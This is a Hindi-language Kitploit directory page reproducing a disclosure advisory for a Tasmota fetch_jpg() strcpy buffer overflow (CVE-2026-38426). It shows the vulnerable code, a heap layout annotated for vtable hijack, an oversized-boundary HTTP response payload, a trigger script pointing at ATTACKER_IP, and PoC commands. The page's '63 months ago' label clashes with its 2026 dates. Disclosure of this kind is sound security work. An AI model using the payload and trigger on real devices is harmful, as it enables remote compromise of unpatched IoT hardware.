Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-38426 — CVE-2026-38426 — Tasmota fetch_jpg() boundary[40] में strcpy() स्टैक बफ़र ओवरफ़्लो (Tasmota <= 15.3.0.3) | Kitploit
उपकरण/GitHubGitHub/sermikr0/cve-2026-38426
एम्बेडेड सिस्टम सुरक्षाIoT सुरक्षाभेद्यता विश्लेषणशोषणहार्डवेयर और IoT सुरक्षारिमोट एक्सेस ट्रोजनबाइनरी शोषण
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — Tasmota fetch_jpg() boundary[40] में strcpy() स्टैक बफ़र ओवरफ़्लो (Tasmota <= 15.3.0.3)

रिपॉजिटरी देखें
63 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-38426: Tasmota के fetch_jpg() boundary[40] में strcpy() स्टैक बफर ओवरफ्लो

CVE: CVE-2026-38426
गंभीरता: गंभीर (CVSS 9.8)
उत्पाद: Arendst Tasmota
प्रभावित संस्करण: <= 15.3.0.3
फ़ाइल: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
फ़ंक्शन: fetch_jpg() — केस 0 (प्रारंभिक कनेक्शन)
लेखक: Saidakbarxon Maxsudxonov
प्रकटीकरण: जिम्मेदारीपूर्ण — प्रकाशन से पहले Tasmota को सूचित किया गया


सारांश

Tasmota के स्क्रिप्टर ड्राइवर के fetch_jpg() फ़ंक्शन में एक क्लासिक strcpy() बफर ओवरफ्लो भेद्यता मौजूद है। HTTP Content-Type रिस्पॉन्स हेडर से निकाली गई MJPEG बाउंड्री स्ट्रिंग को बिना किसी लंबाई सत्यापन के एक निश्चित 40-बाइट बफर (boundary[40]) में कॉपी किया जाता है। MJPEG HTTP सर्वर को नियंत्रित करने वाला हमलावर 39 वर्णों से लंबी बाउंड्री स्ट्रिंग प्रदान करके बफर को ओवरफ्लो कर सकता है और आसन्न हीप मेमोरी को दूषित कर सकता है — संभावित रूप से ESP32 पर रिमोट कोड निष्पादन (RCE) प्राप्त कर सकता है।


असुरक्षित कोड

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

हीप मेमोरी लेआउट (ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← overflow starts here
  +0x28  draw (bool)      ← corrupted
  +0x29  scale (uint8_t)  ← corrupted
  +0x2A  xp (uint16_t)    ← corrupted
  +0x2C  yp (uint16_t)    ← corrupted
  +0x2E  WiFiClient        ← vtable ptr overwritten → RCE
  +0x7E  HTTPClient        ← vtable ptr overwritten → RCE

WiFiClient या HTTPClient vtable पॉइंटर को हमलावर-नियंत्रित मान से अधिलेखित करने पर, जब भी कोई वर्चुअल मेथड (read(), write(), connect()) बाद में कॉल की जाती है, RCE ट्रिगर होता है।


हमला परिदृश्य

हमलावर एक HTTP सर्वर चलाता है जिससे Tasmota fetchjp() के माध्यम से कनेक्ट होता है। सर्वर 39 वर्णों से लंबी बाउंड्री स्ट्रिंग वाले Content-Type हेडर के साथ प्रतिक्रिया देता है:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmota का strcpy() 50+ बाइट्स को 40-बाइट boundary बफर में कॉपी करता है, जिससे आसन्न स्ट्रक्चर फ़ील्ड्स में ओवरफ्लो हो जाता है।

Tasmota स्क्रिप्ट के माध्यम से ट्रिगर करें:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

अवधारणा प्रमाण

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

पूर्ण कार्यान्वयन के लिए CVE-2026-38426_poc.py देखें।


प्रभाव

  • गोपनीयता: उच्च (ESP32 पर vtable अपहरण के माध्यम से RCE)
  • अखंडता: उच्च
  • उपलब्धता: उच्च (निश्चित क्रैश)
  • हमला वेक्टर: नेटवर्क
  • प्रमाणीकरण: कोई आवश्यक नहीं

समयरेखा

  • 2026-03-29: भेद्यता खोजी गई और MITRE को सूचित की गई
  • 2026-03-29: CVE-2026-38426 आवंटित किया गया
  • 2026-05-xx: Tasmota द्वारा पैच जारी किया गया (v15.3.0.4+)

संदर्भ

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
टूल डाउनलोड करें